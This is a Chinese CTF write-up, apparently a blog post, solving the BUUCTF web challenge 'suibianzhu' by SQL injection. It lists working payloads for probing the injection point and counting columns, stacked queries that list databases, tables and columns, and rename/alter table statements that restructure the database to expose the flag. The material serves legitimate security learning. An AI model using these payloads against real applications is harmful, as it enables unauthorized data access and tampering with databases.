BUUCTF【Web】随便注(SQL注入)

进入靶场后,发现框里面的“1”,我们点击查询后出现

e5d300f1b0b14e01afdd3f4294486643.png

猜测是SQL注入,我们随便输入1'(单引号为英文状态下输入)发现报错提示表明此为单引号的SQL注入。

8a307e3052e44bffbb3dbb3018fd6310.png

 第一步,测试注入点(利用引号,and 1=1 ,or 1=1之类的判断是字符型还是数字型)

常用的几种测试注入点:
1'
1'#
1' and 1=1#
1' or 1=1#

第二步,利用order by查表的列数

1' order by 1#        [不报错,正常回显]
1' order by 2#        [不报错,正常回显]
1' order by 3#        [error 1054 : Unknown column '3' in 'order clause']

 从1' order by 3#命令可以得知这张表有三列

第三步,如有回显,找到回显位

1' union select 1,2#

f812428f19cf4c8797faf957ea72c76e.png

 发现回显过滤了关键字。

不能找到回显位,通过分号注入多条SQL语句

  1. 通过show databases爆出数据库
    1';show databases;#

    179b3f74aa094ec0a5db71f8705b39fb.png

  2.  

    通过show tables爆出表

     

    1' show tables;#

     ab53c028d90a4821b2cf5dfee9c55b4c.png

    发现有words和1919810931114514两张表

  3. 接下来,爆出两张表的内容 

1';show columns from words;#

 8d0ba2905d3045eaa87f5dfb020eb457.png

1';show columns from `1919810931114514`;#
注:表名为数字时,要用反引号包起来查询

f7a54a023834454ebada563039ab387a.png

 我们发现在1919810931114514表里面爆出了flag字段,猜测flag就在里面。

但是因为表过滤了select,所以使用rename先把words表改为其它的表名,在把1919810931114514表改为words表,给新的words表添加新的列名id,最后将flag改名为data

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

最后就会得到flag

88e154aa427a4b14b3258c583dfb201c.png

 

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值